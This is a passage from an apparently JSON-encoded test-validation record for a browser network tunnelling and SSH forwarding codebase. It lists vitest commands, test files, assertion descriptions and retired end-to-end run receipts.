config/vitest.config.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/shared/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts src/main/ssh/system-transport/forwarding/system-ssh-forward-process.test.ts src/main/ssh/system-transport/system-ssh-operations.test.ts src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"testFiles\":[\"src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts\",\"src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\"src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts\",\"src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts\",\"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\"src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\"src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts\",\"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\"src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\"src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"src/shared/ws-outbound-backpressure-queue.test.ts\",\"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\"assertions\":[\"an acknowledged mutation replay uses the preserved dispatcher result without rerunning its handler\"]},{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\"assertions\":[\"waits for old handlers and ignores their late callbacks before replacement\",\"keeps one command gate across repeated loss while fencing stale route recovery\"]},{\"file\":\"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\"assertions\":[\"joins concurrent cleanup callers and holds resources until exact native destruction\"]},{\"file\":\"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\"assertions\":[\"destroys a guest rekeyed during an authority transition instead of granting navigation\"]},{\"file\":\"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\"assertions\":[\"keeps a failed authority transition tombstoned until cleanup settles\"]},{\"file\":\"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\"assertions\":[\"retains one exact route until its final page releases it\",\"keeps an ambiguously closed route fenced until final registry cleanup\",\"retires old authority routes without destroying them before exact page cleanup\",\"aborts a stale route recovery without retaining its retry timer\",\"fails bounded recovery after one route exhausts grace without leaking timers\",\"mints a fresh route for a retain that lands while the previous one is closing\",\"waits for a route still closing before reporting retirement\",\"rejects a retain the moment its signal aborts mid-startup\",\"refuses a retain that waited out a closing route onto a retired registry\",\"reports a failed final cleanup to an awaiting retirement\"]},{\"file\":\"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"assertions\":[\"keeps a timed-out retirement fenced until its handler actually settles\",\"bounds close while canceling queued and non-cooperative handlers\"]},{\"file\":\"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\"assertions\":[\"oversized wire payloads fail before page, sequence, or delivery admission\",\"new issue delivery failure closes the ledger and fences every outstanding outcome\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"assertions\":[\"negotiated exact reattach emits ready before replaying the unchanged unsettled command\",\"reattach before old cleanup preserves the same authority and ends only the superseded connection stream\",\"only the exact negotiated connection, paired device, and live page placement can settle a server-owned command\",\"exact duplicate results are idempotent while conflicts and stale or retired placement fail closed\",\"a second browser-host identity on one authenticated connection is rejected\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\"assertions\":[\"command result settlement requires the exact negotiated reconciliation authority\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\"assertions\":[\"replenishes client credit only after the destination write settles\",\"keeps concurrent streams alive when late data arrives for a retired stream\",\"flushes credited destination bytes before close\",\"caps aggregate retained destination bytes and releases exact stream accounting\",\"caps unsettled destination writes and releases retirement exactly once\",\"releases queued bytes once when an accepted send closes reentrantly\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\"assertions\":[\"multiple execution-host routes share browser-host application-byte admission in both traffic directions\",\"route close releases aggregate claims exactly before stale destination-write callbacks\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\"assertions\":[\"preserves remote DNS and waits for an opened acknowledgement\",\"sends only credited bytes in bounded frames and replenishes consumed input\",\"ignores a retired stream frame but rejects a never-allocated stream ID\",\"never reuses stream IDs within one generation after its bounded ledger exhausts\",\"replenishes only bytes settled after the readable consumer takes them\",\"fails closed when pending tiny destination frames exceed the chunk cap\",\"drains data that precedes a remote close before retiring the socket\"]},{\"file\":\"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\"assertions\":[\"application, encrypted-queue, and native socket bytes share one host ceiling\",\"distinct hosts share one process ceiling with exact release\",\"zero-byte claims, socket sources, hosts, and leases have independent bounds\",\"released leases cannot admit work and retained owners keep exact accounting alive\",\"unavailable native-buffer evidence fails closed until its exact source releases\"]},{\"file\":\"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"assertions\":[\"domain CONNECT preserves the final execution-host DNS target\",\"unsupported commands and unavailable routes open no fallback destination\"]},{\"file\":\"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\"assertions\":[\"ungranted or wrong-key SSH routes are rejected before resolver or binary registration\",\"connector diagnostics are mapped to a stable public error without local path disclosure\",\"grant revocation aborts connector startup immediately and cannot race through route admission\",\"the server allocates route generations and fences the replaced route\"]},{\"file\":\"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\"assertions\":[\"closes a subscription that resolves after route teardown\",\"settles startup when close follows subscription acquisition before readiness\",\"bounds the post-auth readiness wait\",\"binds and releases the exact browser-host outbound memory lease\",\"keeps one listener fail-closed and accepts an increasing replacement generation\",\"ignores late callbacks from a superseded transport\",\"recovers again after a second transport death\",\"rejects a non-increasing replacement generation and remains retryable\",\"fences a ready generation even when the replacement closes before its await resumes\",\"replaces the tunnel generation before recycling a bounded stream ID\"]},{\"file\":\"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\"assertions\":[\"does not adopt a replacement ssh2 client under the captured authority\",\"releases a deferred socket when forwardOut throws during disconnect\",\"aborts system SSH startup when route authorization is revoked\",\"reaches external sites over ssh2 through the host proxy and keeps local names direct\",\"dials directly while the host environment is unreadable and adopts it once a retry reads it\",\"reaches external sites over system SSH through the host proxy\"]},{\"file\":\"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\"assertions\":[\"authority invalidation cancels an in-progress SSH launch and destroys its active readiness probe immediately\"]},{\"file\":\"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\"assertions\":[\"an ephemeral sshd resolves a container-only domain and returns a unique HTTP marker\",\"the real ssh2 forwardOut receives that exact domain and provider loss fences the route\",\"one non-interactive system-OpenSSH dynamic forward passes the same remote-only oracle and closes cleanly\"]},{\"file\":\"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"assertions\":[\"nested JSON responses route by exact request ID under reverse-order delivery\"]},{\"file\":\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"assertions\":[\"the authenticated socket binds the optional tunnel capability\",\"the dedicated outbound queue reports hard overflow instead of dropping a frame\",\"encrypted queue claims release synchronously while native socket ownership remains charged through exact close\"]},{\"file\":\"src/shared/ws-outbound-backpressure-queue.test.ts\",\"assertions\":[\"direct and already-retained queued frames use distinct aggregate admission semantics\"]}]}", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-14\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\n \"result\": \"passed\",\n \"durationSeconds\": 1.3,\n \"summary\": \"Two tests passed: an ephemeral Linux sshd resolved remote-only.internal and returned the sta-4150-remote-only HTTP marker over real ssh2 forwardOut and one real system-OpenSSH dynamic forward; the ssh2 route also fenced on authority invalidation.\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-09-06\",\n \"runner\": \"ci\",\n \"platform\": \"linux\",\n \"command\": \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\n \"result\": \"passed\",\n \"durationSeconds\": 28.29,\n \"summary\": \"Previously excluded Docker SSH2 and system-OpenSSH remote-only domain journeys: 2/2 baseline cases (34043512327) plus 6/6 across three independent CI jobs (34043659504), zero skips/retries. Dedicated ssh-browser-network-route job now executes them for full E2E runs and matched source/test edits; preserves all original route and authority assertions.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/shared/network/websocket/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/network/websocket/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts src/main/ssh/system-transport/forwarding/system-ssh-forward-process.test.ts src/main/ssh/system-transport/system-ssh-operations.test.ts src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\n \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\",\n \"ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"\n ]\ntestFiles: [\n \"src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts\",\n \"src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\n \"src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts\",\n \"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\n \"src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\n \"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\n \"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\n \"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\n \"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\n \"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\n \"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\n \"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\n \"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\n \"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\n \"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\n \"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\n \"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\n \"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\n \"src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts\",\n \"src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts\",\n \"src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts\",\n \"src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts\",\n \"src/main/ssh/port-forwarding/ssh-port-forward.test.ts\",\n \"src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\n \"src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts\",\n \"src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\n \"src/shared/remote-runtime/remote-runtime-client.test.ts\",\n \"src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\n \"src/shared/network/websocket/ws-outbound-backpressure-queue.test.ts\",\n \"tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts\",\n \"assertions\": [\n \"an acknowledged mutation replay uses the preserved dispatcher result without rerunning its handler\"\n ]\n },\n {\n \"file\": \"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts\",\n \"assertions\": [\n \"waits for old handlers and ignores their late callbacks before replacement\",\n \"keeps one command gate across repeated loss while fencing stale route recovery\"\n ]\n },\n {\n \"file\": \"src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts\",\n \"assertions\": [\n \"joins concurrent cleanup callers and holds resources until exact native destruction\"\n ]\n },\n {\n \"file\": \"src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts\",\n \"assertions\": [\n \"destroys a guest rekeyed during an authority transition instead of granting navigation\"\n ]\n },\n {\n \"file\": \"src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts\",\n \"assertions\": [\"keeps a failed authority transition tombstoned until cleanup settles\"]\n },\n {\n \"file\": \"src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts\",\n \"assertions\": [\n \"retains one exact route until its final page releases it\",\n \"keeps an ambiguously closed route fenced until final registry cleanup\",\n \"retires old authority routes without destroying them before exact page cleanup\",\n \"aborts a stale route recovery without retaining its retry timer\",\n \"fails bounded recovery after one route exhausts grace without leaking timers\",\n \"mints a fresh route for a retain that lands while the previous one is closing\",\n \"waits for a route still closing before reporting retirement\",\n \"rejects a retain the moment its signal aborts mid-startup\",\n \"refuses a retain that waited out a closing route onto a retired registry\",\n \"reports a failed final cleanup to an awaiting retirement\"\n ]\n },\n {\n \"file\": \"src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\n \"assertions\": [\n \"keeps a timed-out retirement fenced until its handler actually settles\",\n \"bounds close while canceling queued and non-cooperative handlers\"\n ]\n },\n {\n \"file\": \"src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts\",\n \"assertions\": [\n \"oversized wire payloads fail before page, sequence, or delivery admission\",\n \"new issue delivery failure closes the ledger and fences every outstanding outcome\"\n ]\n },\n {\n \"file\": \"src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\n \"assertions\": [\n \"negotiated exact reattach emits ready before replaying the unchanged unsettled command\",\n \"reattach before old cleanup preserves the same authority and ends only the superseded connection stream\",\n \"only the exact negotiated connection, paired device, and live page placement can settle a server-owned command\",\n \"exact duplicate results are idempotent while conflicts and stale or retired placement fail closed\",\n \"a second browser-host identity on one authenticated connection is rejected\"\n ]\n },\n {\n \"file\": \"src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts\",\n \"assertions\": [\n \"command result settlement requires the exact negotiated reconciliation authority\"\n ]\n },\n {\n \"file\": \"src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts\",\n \"assertions\": [\n \"replenishes client credit only after the destination write settles\",\n \"keeps concurrent streams alive when late data arrives for a retired stream\",\n \"flushes credited destination bytes before close\",\n \"caps aggregate retained destination bytes and releases exact stream accounting\",\n \"caps unsettled destination writes and releases retirement exactly once\",\n \"releases queued bytes once when an accepted send closes reentrantly\"\n ]\n },\n {\n \"file\": \"src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts\",\n \"assertions\": [\n \"multiple execution-host routes share browser-host application-byte admission in both traffic directions\",\n \"route close releases aggregate claims exactly before stale destination-write callbacks\"\n ]\n },\n {\n \"file\": \"src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts\",\n \"assertions\": [\n \"preserves remote DNS and waits for an opened acknowledgement\",\n \"sends only credited bytes in bounded frames and replenishes consumed input\",\n \"ignores a retired stream frame but rejects a never-allocated stream ID\",\n \"never reuses stream IDs within one generation after its bounded ledger exhausts\",\n \"replenishes only bytes settled after the readable consumer takes them\",\n \"fails closed when pending tiny destination frames exceed the chunk cap\",\n \"drains data that precedes a remote close before retiring the socket\"\n ]\n },\n {\n \"file\": \"src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts\",\n \"assertions\": [\n \"application, encrypted-queue, and native socket bytes share one host ceiling\",\n \"distinct hosts share one process ceiling with 